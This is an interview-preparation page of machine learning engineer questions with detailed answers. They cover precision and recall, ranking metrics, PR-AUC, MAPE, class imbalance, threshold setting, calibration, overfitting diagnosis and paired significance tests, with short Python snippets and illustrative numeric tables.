Top 100 Machine Learning Engineer Interview Questions and Answers
The questions most likely to come up in your Machine Learning Engineer interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.
Curated: · Written: · Reviewed:
Q&A-101Explain precision and recall, when you would optimise each, and why F1 can hide the tradeoff you actually care about?
Precision and recall are two views of one confusion matrix, and the tradeoff between them is a threshold you choose, not a property the model has.
Precision = TP/(TP+FP): of everything I flagged, how much was right. Recall = TP/(TP+FN): of everything actually positive, how much I caught.
| Predicted positive | Predicted negative | |
|---|---|---|
| Actual positive | TP | FN |
| Actual negative | FP | TN |
A classifier emits a score; you pick a cut. Lower the cut and you flag more rows: recall rises, precision falls. Raise it and the reverse. Illustrative sweep on 10,000 rows with 200 true positives:
| Threshold | TP | FP | FN | Precision | Recall | F1 |
|---|---|---|---|---|---|---|
| 0.9 | 60 | 20 | 140 | 0.75 | 0.30 | 0.43 |
| 0.5 | 140 | 180 | 60 | 0.44 | 0.70 | 0.54 |
| 0.2 | 190 | 1,200 | 10 | 0.14 | 0.95 | 0.24 |
F1 peaks at 0.5 here, but that peak is an artefact of F1 assuming a false positive and a false negative cost the same. They almost never do.
F1 = 2PR/(P+R) is symmetric: swap precision and recall and F1 does not move. P=0.9, R=0.1 gives 2(0.09)/1.0 = 0.18. P=0.1, R=0.9 gives the same 0.18. A model that catches one in ten positives and a model that is wrong nine times out of ten score identically. That is the tradeoff hidden.
When to optimise each:
- Recall-critical: a missed positive is catastrophic, a false positive is cheap. Cancer screening, or a safety filter that escalates to a human reviewer. You accept low precision because the review queue absorbs it. Optimise recall subject to a floor: "reviewers can handle 500 a day" or "precision stays above 0.10".
- Precision-critical: a false positive is expensive or irreversible. Spam filtering (a false positive loses a real email), auto-deleting user content, auto-blocking a payment account. Optimise precision subject to a recall floor.
The move that survives review is to write down the cost of an FP and an FN, then pick the threshold that minimises expected cost:
costs = fp_cost * fp + fn_cost * fn # arrays over thresholds
best = thresholds[costs.argmin()]
Report the PR curve, not one number. For rare positives report PR-AUC rather than ROC-AUC: ROC-AUC stays flattering when the negative class dominates, because FPR is diluted by a huge TN.
Curated: · Written: · Reviewed: —
Q&A-22Why is accuracy meaningless for a ranker, and what replaces it?
The 90-second answer
Accuracy needs a threshold and a set. A ranker produces an order. Thresholding scores at 0.5 gives you a set of "relevant" items, and accuracy scores that set: reorder the set and accuracy does not move. So accuracy is permutation-invariant: it cannot see the thing the product ships. It is also dominated by the negative class, because in retrieval almost everything is irrelevant. Predict "not relevant" for all 1000 candidates when 1 is relevant and you score 0.999 accuracy with an empty top-10.
What replaces it: metrics that are position-aware and cut-aware (NDCG@k, MRR, MAP, recall@k) plus a training loss that optimizes order rather than per-item calibration.
Why accuracy fails, mechanically
Two independent reasons.
- Permutation invariance. Accuracy is computed from a confusion matrix over a thresholded set. Any permutation of the same set yields the same matrix. Ranking metrics are defined on the sequence, so they move when the order moves.
- Class imbalance. With 1 relevant item in 1000, the all-negative predictor gets 999/1000 = 0.999. The metric rewards the trivial answer.
A trace
Five candidates, one relevant (A). Two rankings from the same score set:
- Ranking 1: A B C D E
- Ranking 2: B C D E A
Threshold at 0.5 → both produce the same set {A}, same confusion matrix, accuracy identical.
NDCG@5, binary gains, DCG = Σ rel_i / log2(i+1):
- Ranking 1: 1/log2(2) = 1.000; IDCG = 1.000 → NDCG = 1.000
- Ranking 2: 1/log2(6) = 1/2.585 = 0.387; IDCG = 1.000 → NDCG = 0.387
Same accuracy, 0.61 NDCG apart. That gap is the product.
What to report instead
| Metric | What it captures | Use when | Blind spot |
|---|---|---|---|
| NDCG@k | graded relevance with log position discount | list product, graded labels | needs graded labels; k must match the UI |
| MRR | rank of first relevant | one-answer / QA | ignores everything after the first hit |
| MAP | precision averaged over recall points | binary relevance, full ranking | no position discount beyond rank |
| recall@k | fraction of relevant retrieved in top k | first stage of a two-stage system | says nothing about order within k |
State k explicitly and set it to the cut the interface renders. NDCG@10 for a 3-card carousel is measuring positions nobody sees.
Training side
Pointwise cross-entropy optimizes per-item calibration, which is what accuracy reads. Pairwise (RankNet) and listwise (LambdaRank, LambdaMART, ListNet) losses optimize order directly. Pointwise is cheaper and parallelizes; pairwise/listwise align better with the metric but are less stable and need more care with negative sampling.
Failure modes and detection
- Cut mismatch: offline NDCG@10 improves, on-screen CTR drops. Detect by recomputing at the shipped cut and by interleaving.
- Position bias: CTR rewards whatever was already on top. Detect with a randomization bucket or counterfactual evaluation, not raw CTR.
- First-stage recall ceiling: if recall@100 is 0.6, no reranker can exceed 0.6 NDCG. Check recall@k of the retriever before tuning the ranker.
When accuracy is fine
Binary classification where the output is a decision, not an order: spam, fraud, a single yes/no gate. The moment the output is a list, accuracy stops being the metric.
Curated: · Written: · Reviewed:
Q&A-20Which curve do you report for a problem with a 0.5% positive rate, and why?
Report precision-recall AUC as the headline number, draw the positive base rate on the plot as the no-skill floor, and keep ROC-AUC for comparing models scored on the same population.
The reason is arithmetic. ROC-AUC's false-positive rate divides false positives by the whole negative class. On a 100,000-row test set at a 0.5% positive rate there are 99,500 negatives, so 500 false positives move FPR by 0.005: invisible on a curve that spans 0 to 1. Precision divides those same 500 false positives by the predicted positives, and if the model flags 1,000 rows, precision is 0.5. One error is a rounding difference on one curve and half the score on the other. PR-AUC's no-skill baseline is the base rate itself, 0.005 here, so the curve has room to separate signal from noise; ROC-AUC's baseline sits at 0.5 no matter how rare the event is.
That gap reorders models, not just their magnitudes. Two models scored on the same 0.5%-positive set:
| Model | ROC-AUC | PR-AUC | No-skill PR |
|---|---|---|---|
| A | 0.91 | 0.42 | 0.005 |
| B | 0.93 | 0.11 | 0.005 |
A looks stronger on ROC-AUC and is the weaker model on PR-AUC. If the decision is about catching the rare event, ROC-AUC picked the wrong one. Figures are illustrative, but the pattern is the one that shows up whenever prevalence is low.
ROC-AUC still earns its place. It is threshold-free, insensitive to prevalence, and the right tool when you are comparing models across populations with different base rates, or when both classes carry comparable cost. PR-AUC is not portable that way: a PR-AUC of 0.42 on a 0.5% set and 0.42 on a 5% set are not the same achievement, because the no-skill floor moved. Never quote a PR-AUC without the prevalence next to it.
Failure modes worth naming. With a few hundred positives, PR-AUC swings hard across splits: bootstrap it and report the interval, because a 0.42 ± 0.15 headline cannot decide a launch. The curve also hides the operating point; a model can look fine in aggregate and still be unusable at the threshold you would actually ship, so print precision and recall at that threshold alongside the AUC. And interpolation matters: scikit-learn's average_precision_score sums step-wise rectangles over precision_recall_curve, which reads lower than a linearly interpolated PR-AUC on the same scores, so compare like with like.
What I would put in the report: both curves, the base rate marked as the no-skill line on the precision-recall plot, a bootstrap confidence interval on PR-AUC, and the precision/recall pair at the chosen threshold. ROC-AUC goes in as the cross-population comparison, not as the headline.
Curated: · Written: · Reviewed:
Q&A-21A forecast reports 6% MAPE. What does that not tell you?
What a strong candidate says first
MAPE is the mean over items of |actual - forecast| / |actual|. So "6%" is one number: the average relative miss, with every item weighted equally regardless of volume. That is all it says. It does not tell you the direction of the error, the size of the worst miss, which items carry the volume, whether the model beats a naive baseline, what happened on items with zero demand, or anything about interval coverage.
Direction is gone
A forecast that lands uniformly 6% low and one that scatters +8% / -4% around the truth have the same MAPE. For inventory those are not close: the first is a systematic stockout risk, the second is noise you absorb with safety stock. Recover direction by summing signed errors instead: bias = sum(forecast - actual) / sum(actual).
The mean hides the tail and the mix
MAPE averages per-item percentages, so a low-volume item with a small denominator gets the same vote as a high-volume item and can dominate by count. Twenty SKUs:
| SKU | Actual | Forecast | Unit error | APE |
|---|---|---|---|---|
| 19 SKUs | 500 each | 520 each | 20 each | 4% |
| SKU-1 | 100,000 | 56,000 | 44,000 | 44% |
Average of the 20 APEs = (19 * 4% + 44%) / 20 = 6.0%. The same errors weighted by volume: (19 * 20 + 44,000) / (19 * 500 + 100,000) = 44,380 / 109,500 = 40.5% WAPE. Signed bias = (19 * 520 + 56,000 - 109,500) / 109,500 = -39.8%, so the model is short on demand overall. The reported 6% is true and useless for the decision it was computed for.
Zero-demand items fall out of the number
MAPE divides by actual, so it is undefined at actual = 0 and explodes for tiny actuals (one unit sold, three forecast, is a 200% error). Intermittent SKUs are usually dropped or clipped before averaging. If the catalogue holds 3,000 items and 900 had zero demand last period, the 6% describes the remaining 2,100, and that exclusion is not in the number.
No baseline, no horizon, no split
6% means nothing without a comparator: seasonal-naive on the same series might be 5%. Ask whether it is a one-step backtest or a four-week-ahead rollout, since percentage error grows with horizon, and whether it was computed in-sample on fitted data.
What to report instead. WAPE or RMSE when volume drives cost, MASE or RMSSE when series contain zeros (both are scale-free and stay defined at actual = 0), signed bias with a tracking signal for direction, pinball loss if the model emits quantiles, and P95 of per-item APE for the tail. Detect the failure in production by alerting on bias beyond a threshold and on the count of items excluded for zero demand.
MAPE is fine on stable, strictly positive, similar-scale series, say weekly revenue per store, where the mix effect is small and direction does not drive cost. Anywhere else it is a reporting convenience, not a decision metric.
Curated: · Written: · Reviewed:
Q&A-1A fraud team asks you to improve model accuracy on a dataset where 0.3% of transactions are fraudulent. What do you optimise instead, and why?
Accuracy is off the table before we start: at 0.3% prevalence a constant "never fraud" classifier scores 99.7% and recovers nothing. The assumption I fix first is what actually happens to the score: it ranks transactions into a fixed analyst queue, or it auto-declines. Taking the queue case as the default, say 500 reviews a day:
I optimise recall at that fixed review capacity (recall@500), use PR-AUC as the threshold-free metric for model selection, and report expected loss per transaction to the fraud team. Recall on its own is maximised by flagging everything, so it has to be pinned to capacity. PR-AUC rather than ROC-AUC because with 300 frauds among 100,000 transactions the ROC curve is dominated by 99,700 easy negatives: a model can hold ROC-AUC at 0.99 while precision in the top-500 band collapses to something unusable.
The cost side is arithmetic. If scores are calibrated, escalate when p > C_FP / (C_FP + C_FN):
# Python 3.11 — threshold from costs, not from 0.5
C_FP = 12 # review cost + friction on a legitimate customer, in $
C_FN = 420 # average loss on a settled fraudulent transaction, in $
p_star = C_FP / (C_FP + C_FN) # 0.028 — a 2.8% fraud probability is already worth review
Those two numbers are the argument the fraud team has to have out loud. Boosted trees trained on resampled data are usually not calibrated, so I fit Platt or isotonic scaling on data with the true 0.3% base rate before trusting p_star.
Illustrative figures on 100,000 transactions with 300 frauds, 500 reviews available:
| Model | Accuracy | Recall@500 | PR-AUC | Fraud value caught |
|---|---|---|---|---|
| Predict "never fraud" | 99.70% | 0% | — | $0 |
| Logistic baseline | 99.62% | 41% | 0.38 | $184,000 |
| Gradient boosting | 99.58% | 63% | 0.57 | $291,000 |
The accuracy column ranks them backwards. The boosting model catches 189 of 300 frauds in 500 reviews: 37.8% precision, a 126x lift over the 0.3% base rate. But 63% recall means 189 of 300 cases, so the 95% interval is roughly ±5.5 points; a 3-point gap between two candidates on one month of data is noise. I want a full quarter, or several, before calling a winner.
Failure modes I watch for:
- Random splits leak the future. Fraud rings and merchant clusters recur across a random split, so offline recall looks great and decays in production. Split out-of-time; if recall@500 drops sharply between a random and a time-based split, the model was memorising rings.
- Metrics computed on a rebalanced validation set. Precision and PR-AUC are base-rate dependent. Oversampling and class weights are training levers to try after the metric is fixed, they also shift calibration, but evaluation always runs on the untouched 0.3% distribution.
- Threshold drift. Pinning to 500 reviews/day means the threshold moves as volume and score distributions shift. I track alert volume and precision weekly and recalibrate monthly; a silent threshold that lets review capacity sit half idle is the usual first symptom.
- Recall alone. If the score also auto-declines, a false positive is a lost customer worth real LTV, so the reported number has to be expected loss with both costs, not dollars of fraud caught.
What I would not call it settled without: scoring a held-out quarter on the true base rate and reporting money recovered, analyst hours consumed, and legitimate customers declined side by side. A metric a majority-class predictor can win is not measuring the model.
Curated: · Written: · Reviewed:
Q&A-6Your positive class is 1.2% of the data. Do you oversample, undersample, or reweight?
Start with the facts that decide it: how many positives in absolute terms, and what downstream does with the score. 1.2% of 4M rows is 48,000 positives: plenty. 1.2% of 20,000 rows is 240, and that is a variance problem no resampling fixes. Assume the former, and assume downstream either thresholds the score or multiplies it by a cost.
My default is to do none of the three: fit on the natural distribution, pick the threshold on a time-based holdout against the operating cost (recall at a fixed 5% flag rate, or precision at a fixed review budget) and touch the loss only if top-of-list ranking suffers. If I touch it, I reweight moderately.
Mechanism. Duplicating positives k times and weighting them by k minimize the same expected loss; they are one operation, so "weights preserve probabilities and oversampling breaks them" is folklore. Both tilt the learned posterior. Under weighted cross-entropy the optimum is p̃ = kp/(kp + 1−p), a shift of ln k in log-odds. Oversampling 1.2% up to 50% is k = (0.5/0.5)/(0.012/0.988) ≈ 82: an 82× tilt, which is why the output stops being a probability:
logit(p_true) = logit(p̃) − ln(82) ≈ logit(p̃) − 4.41
sigmoid(−4.41) ≈ 0.012
A model outputting 0.50 after that oversampling is really claiming 0.012. So the question is not which operation; it is how hard to tilt, and whether anything consumes the probability.
Same features, same GBDT, time-based validation, 4M rows / 48k positives. Hypothetical figures, but this shape repeats:
| Treatment | Odds tilt | Recall @ 5% flags | Precision @ 5% flags | Mean predicted p |
|---|---|---|---|---|
| Natural distribution | 1× | 0.44 | 0.11 | 0.012 |
| Class weight 20 on positives | 20× | 0.57 | 0.14 | 0.20 |
| Undersample negatives to 8:1 | ~10× | 0.52 | 0.12 | 0.11 |
| Oversample positives to 50% | 82× | 0.68 | 0.16 | 0.51 |
Note what the recall gain is: at a fixed 5% flag rate the threshold is pinned by the budget, so 0.44 → 0.68 is genuine ranking gain in the top tail, not threshold movement. That is the real argument for tilting the loss: you buy top-of-list recall and pay for it in calibration. Undersampling I reach for last: randomly dropping negatives thins exactly the tail of the negative distribution the 5% flag rate is judged on, inflates the training prior just like oversampling does, and makes the false-positive estimate noisy.
Failure modes I check for:
- Leakage. Resample after splitting, never before. Duplicates crossing a random split can lift validation recall from 0.68 to 0.9 while production sits at 0.4. Detect with row-hash overlap between splits and a holdout from a later time period.
- Probability consumers. Any expected-loss, pricing or triage-priority math downstream is off by the tilt factor: 40× to 80× is typical here. Detect with a reliability diagram per decile and a Brier score on a natural-prevalence holdout.
- Weight blow-up. 80× weights on a few thousand positives means mislabeled positives dominate the loss. Detect via variance across seeds and per-row loss contribution.
When I do resample: SGD minibatches. At 1.2%, a batch of 32 holds 0.38 positives on average and (0.988)³² ≈ 68% of batches are all-negative, so gradients are noise. There I use a stratified or weighted sampler in the data loader, then correct the prior or calibrate on a natural-prevalence set. Undersampling earns its place with a huge negative pool plus hard-negative mining, or inside a balanced bagging ensemble, not as a first move.
Curated: · Written: · Reviewed:
Q&A-18Your classifier outputs a score between 0 and 1. Who decides where to cut it, and on what basis?
The useful framing for choosing the decision threshold is what a user loses when the model is wrong in each direction.
Set the threshold from operating capacity and error cost rather than from 0.5, because the default cut point encodes an assumption about equal costs that almost no product has.
Concretely, sweep the threshold on a validation set, plot precision, recall, and volume flagged at each point, choose the point that matches the reviewing capacity or the cost ratio, and store it with the model version.
The reason for that specificity is a failure I have seen: A moderation model left at 0.5 flagged 24,000 items a day against a team that could review 3,000, so the queue aged to 8 days and the most severe items were reviewed last.
Threshold sweep against a team that can review 3,000 items a day.
| Threshold | Flagged per day | Precision | Recall |
|---|---|---|---|
| 0.50 | 24,000 | 0.19 | 0.94 |
| 0.80 | 7,400 | 0.44 | 0.81 |
| 0.91 | 2,950 | 0.68 | 0.62 |
| 0.97 | 900 | 0.86 | 0.31 |
I would not consider it settled without evidence: Show the threshold sweep with flagged volume per day at each cut point and the reviewing capacity drawn on the same axis.
The default of 0.5 is a modelling artefact, not a business decision.
Curated: · Written: · Reviewed:
Q&A-80You need the threshold that yields exactly 3,000 flags a day. How do you find it?
Assume two things before you start: flagged volume is monotone non-increasing in the threshold (raise the threshold, flag fewer rows), and you can evaluate the count for a candidate threshold cheaply. Under those, bisect on the threshold against the target count. That reaches the answer in about 14 evaluations instead of a sweep of every candidate.
Monotonicity is the precondition, not a detail. Check it on the scores you will actually serve: sort the day's scores, compute the flagged count at a handful of thresholds, and confirm the counts only fall as the threshold rises. If they don't, you have a scoring or dedup bug, and no search will fix it: a non-monotone curve has several thresholds that hit 3,000 and bisection will land on an arbitrary one.
lo, hi = 0.0, 1.0
while hi - lo > 1e-4: # 14 iterations
mid = (lo + hi) / 2
if flagged_per_day(scores, mid) > 3000:
lo = mid # too many flags: raise the threshold
else:
hi = mid
threshold = (lo + hi) / 2
Trace it: the interval starts at width 1.0 and halves each pass, so after 14 passes it is 1.0 / 2^14 = 6.1e-5, below the 1e-4 stop. Fourteen calls to flagged_per_day. The branch direction encodes the monotone-decreasing assumption: a count above 3,000 means the threshold is too low, so the lower bound moves up. If your volume were increasing in the threshold, the branches swap.
Bisection is not always the right tool. If the day's scores are already in memory, sort them and take the (N − 3000)th order statistic: that is the exact threshold in one pass, no search and no tolerance. Bisection earns its place when each evaluation is expensive: a rescore, a query against a warehouse, or a streaming pass you cannot afford to repeat. The failure I have seen is a linear sweep in steps of 0.001 over 40 million scored rows, 1,000 evaluations and 52 minutes nightly, where bisection took 14 evaluations and under a minute.
Four failure modes to watch:
- Score ties and quantization. If scores are rounded to two decimals, the curve is a step function. The exact threshold may not exist; pick the step edge and report the count you actually get, not the one you asked for.
- Distribution shift. A threshold calibrated on yesterday's scores applied to today's traffic gives a different count. Re-derive it on the same window you serve, or monitor the daily count and alert on drift.
- Volume drift. 3,000/day is a rate. If traffic doubles, the same threshold flags more rows. The threshold is only valid for the traffic mix it was fit on.
- Tolerance on the wrong quantity. A 1e-4 stop on the threshold is not a 1e-4 stop on the count. Check the count error at the returned threshold, not the width of the bracket.
Before you ship it, sweep one day finely and confirm the bisected threshold reproduces the target count within your tolerance. Store the threshold alongside the model version so serving and evaluation use the same number.
Curated: · Written: · Reviewed:
Q&A-36False negatives cost eight times what false positives cost. Where does that belong in the model?
Core answer (first 90 seconds). Put the 8:1 ratio into the loss, not only into the threshold. A threshold picks an operating point on the curve the model already learned; a cost-weighted loss changes the curve itself, pushing the learned boundary toward the expensive class. Concretely: set class_weight={0: 1, 1: 8} (or a cost-sensitive loss) so a false negative contributes eight times the gradient of a false positive, then sweep the threshold as a second, smaller control. Verify on held-out data by comparing the minimum expected cost of each approach, not accuracy.
Why the loss, not just the threshold. With a symmetric loss the model optimizes the wrong objective: it treats a missed positive and a false alarm as equally bad, so the separation it learns is already wrong before any threshold is applied. Threshold tuning can only slide along that mis-shaped curve. Weighting the loss makes the model spend capacity on the region where errors are expensive.
Worked example (1,000 validation decisions, FP = $1, FN = $8):
| Model | Threshold | FP | FN | Expected cost |
|---|---|---|---|---|
| Symmetric loss | 0.30 | 80 | 42 | 80 + 8×42 = $416 |
| Weighted 8:1 | 0.30 | 120 | 26 | 120 + 8×26 = $328 |
Each threshold is the cost-minimizing point for its own model. The weighted model costs 416/328 ≈ 1.27, about 27% less expected cost, and it wins because it learned a different boundary, not because the threshold moved. Weighting the positive class shifts predictions toward positive, so you should expect more FPs and fewer FNs at the same threshold.
Failure mode. Encoding the ratio only in the threshold. The model still learns a symmetric boundary and you are just picking a point on it. Detect it by plotting expected cost against threshold for both models on the same validation set: the weighted curve's minimum sits below the symmetric curve's minimum. If the two minima coincide, the weighting did nothing and you should check that the weights actually reached the loss.
When not to. If the model is frozen and you cannot retrain, threshold tuning is all you have. And if the 8:1 ratio is a rough guess, a heavily weighted loss can overfit to a noisy cost estimate. Check calibration and how flat the cost curve is around its minimum before trusting the exact ratio.
Curated: · Written: · Reviewed:
Q&A-7A downstream system multiplies your model's score by an expected loss. What must be true of that score?
The score must be a calibrated probability of the exact event the loss is defined on. Not a rank, not a logit, not "risk-ish". If a downstream system computes score × expected loss, it is computing E[L|x] ≈ p̂(x) · E[L|event], and that product is only unbiased when P(Y=1 | p̂ = q) = q on the deployment population.
Three consequences get missed:
- Event definition and horizon are part of the contract. P(default within 12 months) is not P(90+ DPD in 30 days), and a probability calibrated for one is meaningless for the other. Calibration is a property of score + event + population together, not of the model alone.
- Severity has to be conditionally independent of the score, or modeled separately. p̂(x) · L̄ is wrong when high-score cases also have higher loss severity. In credit-style systems this is exactly why PD and LGD are separate models and the engine multiplies PD × LGD × EAD. If severity varies with x, hand the downstream E[L|x] or the two factors, not a single score.
- Calibration is not discrimination. An AUC of 0.88 tells you nothing here. Any strictly monotone transform leaves AUC unchanged and moves the product by up to 3x in the tail.
Method: fit the calibrator on scores the base model never trained on. A held-out slice or out-of-fold predictions via cross-fitting. Platt scaling (logistic regression on the logit of the raw score) is low-variance and assumes a sigmoid shape; isotonic is non-parametric and needs far more data per region, and it emits step functions that make thin bins look resolved when they aren't. Verified against sklearn 1.4 / Python 3.11:
from sklearn.isotonic import IsotonicRegression
cal = IsotonicRegression(out_of_bounds="clip").fit(oof_score, y_holdout) # OOF scores only
p = cal.predict(raw_score)
Then verify out of sample. Bin a fresh batch of outcomes into deciles and compare mean p̂ to observed rate: illustrative figures:
| Decile | Mean p̂ | Observed rate | After isotonic |
|---|---|---|---|
| 1 | 0.02 | 0.03 | 0.03 |
| 5 | 0.44 | 0.31 | 0.32 |
| 7 | 0.68 | 0.55 | 0.56 |
| 9 | 0.90 | 0.62 | 0.64 |
| ECE (10 bins) | 0.118 | — | 0.021 |
What that miscalibration costs: 2,000 cases land in decile 9 with average loss $2,500. The engine reserves 2,000 × 0.90 × $2,500 = $4.5M; the observed rate of 0.62 implies $3.1M. That is $1.4M over-reserved in one quarter from one bin (illustrative numbers, but the arithmetic is the point).
ECE alone is not evidence: it depends on bin count and can hide offsetting errors or segment-level miscalibration. Also report calibration slope and intercept (regress outcome on logit(p̂): want intercept 0, slope 1; slope < 1 means overconfident), log loss, and per-segment reliability with bin counts and Wilson intervals.
Failure modes I would expect to be asked about:
- Prevalence shift. A prior change leaves AUC intact and breaks calibration. Monitor rolling outcome rates and score distribution drift; recalibrate on a recent window.
- Stale calibrator. If the base model retrains, the calibrator must be refit on post-retrain out-of-fold scores as a pipeline step, or it is calibrating yesterday's model.
- Leakage. Calibrator fit on training-set predictions makes the reliability diagram a fantasy.
- Thin bins. Isotonic on a few thousand samples produces confident-looking plateaus backed by five events.
Calibration is not needed if the consumer only ranks or applies a threshold tuned on its own validation data. Multiplication is precisely the case where it is mandatory: the score is being used as a number, so it has to be one that means what the arithmetic assumes.
Curated: · Written: · Reviewed:
Q&A-26Training error is 2% and validation error is 19%. What do you do next, and what would change your mind?
Assumptions I'd state first: the 2% and 19% are the same metric on the same task, the validation set is a clean held-out sample from the same distribution as the data you'll be scored on, and no preprocessing is fit on the validation set. If any of those is false, the gap is a measurement artefact and the diagnosis below doesn't apply.
Direct answer: a 17-point gap with 2% training error is variance. The model has enough capacity to memorise the training set and is not generalising. Next step is to confirm the split is honest, then attack variance: more data, regularisation, less capacity, augmentation, early stopping, ensembling. Do not add capacity.
Why the gap means variance. Training error measures fit to data the model has seen; validation error measures fit to data it hasn't. When train error is near zero and validation error is 9.5× higher (19 / 2), the model has learned the training set's noise. More data reduces the noise the model can memorise per parameter, so validation error falls. More capacity does the opposite.
The artefact that decides it: a learning curve. Fit the same model on increasing fractions of the training set and read the direction, not the level:
| Train fraction | Train error | Validation error | Gap |
|---|---|---|---|
| 10% | 1.1% | 27.0% | 25.9 |
| 25% | 1.6% | 23.0% | 21.4 |
| 50% | 1.9% | 20.5% | 18.6 |
| 100% | 2.0% | 19.0% | 17.0 |
Train error rises as data grows (the model has less room to memorise), validation error falls, and the gap narrows from 25.9 to 17.0 without flattening at 100%. That shape says the model is still data-limited: more data should keep pulling validation error down. If validation error had flattened while the gap stayed wide, more data would not help and you'd move to regularisation and capacity instead.
What would change my mind.
- Learning curve plateaus with a persistent gap → the fix is regularisation (L2, dropout), lower capacity, or early stopping on validation, not more data.
- Both curves high and close (say 18% train, 19% validation) → bias, not variance. Add capacity or better features. Adding layers to a bias problem moves validation error by fractions of a point.
- Gap closes after fixing the split or preprocessing → it was leakage or a mismatch, not variance. Common causes: a feature computed after the label timestamp, duplicate rows across train and validation, or a scaler fit on the full dataset. Detect by scoring on a strictly held-out time slice; if validation error jumps, the earlier number was leakage.
- Error concentrated in one segment (one region, one device, one cohort) → distribution shift, not variance. Fix by resampling or reweighting that segment, not by regularising.
Remedies for the diagnosed case, in order of cost: more data if the curve is still descending; augmentation if labels are cheap but collection is not; L2 or dropout; reduce depth or width; early stopping; bagging or ensembling. Each of these trades training fit for validation fit, which is exactly the trade the 2%/19% split is asking for.
Curated: · Written: · Reviewed:
Q&A-37You stop training when validation loss stops improving. What is the risk in reporting that validation score?
The short answer
If the same validation set chose the stopping point, the score you report is a selected minimum, not an estimate of the model's error. You evaluated the model at every checkpoint and kept the best, so the number is the best of N noisy draws from one distribution. Its expectation sits below the true value, and always in the flattering direction. Report it as a decision input, not as an expected production figure.
State the assumption out loud: the validation set was used for the stopping decision, and possibly for tuning too. If a separate untouched set produced the number, the bias is gone.
Why it happens
Write the validation loss at epoch t as L_t = L* + ε_t, where L* is what that model family achieves at that data size and ε_t is noise: finite validation set, dropout, shuffling, batch order, non-determinism. Early stopping reports min_t L_t. Since E[min] ≤ E[L_t] = L*, the reported number is biased low by the expected minimum of N noise draws.
Illustrative arithmetic (hypothetical, not measured): a 2,000-example validation set with accuracy near 0.85. The standard error of that estimate is sqrt(0.85·0.15/2000) ≈ 0.008, so 0.8 points. If the 50 epoch scores were independent, the expected best-of-50 would sit roughly σ√(2 ln 50) ≈ 2.2 points above the mean. Epochs are correlated, so the effective count is smaller and 2.2 points is an upper bound. The direction and order of magnitude are the point: a reported 0.85 can be a true 0.83.
It compounds
Every additional decision taken on the same set spends more of its estimating power: learning rate, architecture, class threshold, which of three model families to ship. Pick the threshold that maximises F1 on validation and you have stacked a second selection on top of the stopping selection. Two models both early-stopped on the same set are not comparable by their validation scores, because the one with noisier training or more checkpoints gets the larger boost.
Three sets
| Set | Used for | Reported |
|---|---|---|
| Train ~70% | fitting parameters | no |
| Validation ~15% | early stopping, tuning, threshold | decisions only |
| Test ~15% | one measurement, touched once | yes |
Failure modes and how you see them
- Small validation set. Optimism scales with σ, so a 500-example validation set can be several points optimistic. Detect it by scoring the frozen checkpoint on a held-out test set.
- Validation score used as a capacity or SLA number. You under-provision and miss the target live. Detect it by comparing the reported figure against the first week of production metrics.
- Model selection on the same set. The chosen model's score is inflated relative to the others. Detect it by re-scoring every candidate on the test set.
- Fixating on this while train/serve skew dominates. Early-stopping optimism is usually a point or two; feature skew is often larger. Check both.
What to report
The test-set figure as the headline, with the validation figure and the number of decisions taken on it as context. If you cannot afford a third split, report the validation score as an upper bound and say how many stopping decisions and how many examples produced it. Nested cross-validation gives the same separation when data is too scarce to carve out a test set.
Curated: · Written: · Reviewed:
Q&A-60Your model beats the incumbent by 0.6 points of AUC. Is that a real improvement?
Bottom line: not on its own. A 0.6-point AUC gap is smaller than the resampling noise of a typical test set, so the first question is whether the interval on the paired difference excludes zero, and even when it does, a statistically real 0.6 points is often not worth a migration. Assume the same frozen test set, the same rows and labels for both models, no leakage, and that neither model was selected on this set. If any of those fail, the comparison is invalid before the statistics start.
Why paired. Both models score the same rows, so their errors are correlated and the variance of the difference is far smaller than the sum of the two variances. Two separate intervals are the wrong tool: they can overlap while the difference is significant, and non-overlapping intervals are not required for significance. Compute the interval on the difference.
Two ways to get it. Nonparametric bootstrap: resample test rows with replacement, recompute both AUCs on the same resample, take the difference, repeat 2,000 times, read the 2.5th and 97.5th percentiles. It assumes nothing about the AUC's distribution. DeLong's test (DeLong, DeLong & Clarke-Pearson, 1988) gives the same interval analytically from the placement values: deterministic and cheap when you have many models to screen. Use bootstrap when you want a number you can defend without distributional assumptions; use DeLong when you are comparing a large candidate set and need speed.
import numpy as np
from sklearn.metrics import roc_auc_score
rng = np.random.default_rng(0)
n = len(y_test)
diffs = np.empty(2000)
for r in range(2000):
idx = rng.integers(0, n, n)
diffs[r] = (roc_auc_score(y_test[idx], s_new[idx])
- roc_auc_score(y_test[idx], s_old[idx]))
lo, hi = np.percentile(diffs, [2.5, 97.5])
Trace: n = 40,000, 2,000 resamples. Each resample draws 40,000 indices with replacement, so about 63% of rows appear at least once and the rest are left out: the standard bootstrap. Each iteration recomputes both AUCs on the same resampled rows and stores the difference. With an observed difference of 0.006 and a bootstrap SE of roughly 0.0011, the 95% interval is about [0.0038, 0.0082]: it excludes zero. For reference, the Hanley–McNeil SE of a single AUC at 0.8 on 20,000 positives and 20,000 negatives is about 0.0022; the paired SE is smaller by the correlation between the two models' scores.
What the interval does not settle. Three things. Multiple comparisons: if this was the best of ten candidates, widen the interval. Ten independent 95% comparisons give roughly a 40% chance of at least one false winner. Drift: the test set is a snapshot, so the live difference can be smaller or negative as the distribution moves; monitor the production metric, not just the offline one. Selection: if the challenger was tuned on this set, the difference is inflated. Keep a final holdout or use nested cross-validation.
When a real 0.6 points still isn't worth it. Check the metric the product actually uses. AUC averages over every threshold; the product acts at one. A 0.6-point gain concentrated in a region of the score distribution the product never touches moves nothing: I have seen a challenger win offline and leave live precision at the operating threshold unchanged. If the migration costs a quarter of engineering time and adds serving latency, keep the incumbent and revisit when the gap is larger. Decide the minimum meaningful effect size before you run the comparison, so the number does not decide for you.
Curated: · Written: · Reviewed:
Q&A-62Which test do you use to compare two classifiers on the same test set?
Short answer. For two classifiers scored on the same held-out set, use a paired test. McNemar's test when the metric is per-example correctness; a paired bootstrap when the metric is threshold-free (AUC, average precision); DeLong's test specifically for comparing two AUCs. An unpaired two-sample test is the wrong tool here.
Why pairing decides the result. Only the examples where the two models disagree carry information about which is better. Where they agree, the example contributes the same amount to both accuracy estimates and cancels in the difference. So the variance of the difference is driven by the discordant count, not by the size of the test set. An unpaired test assumes two independent samples and pays for 2n independent observations when you really have n paired ones.
McNemar's test is a chi-square on the two off-diagonal cells of the discordance table. Worked example, 40,000 shared test rows:
| B correct | B wrong | |
|---|---|---|
| A correct | 33,180 | 356 |
| A wrong | 456 | 6,008 |
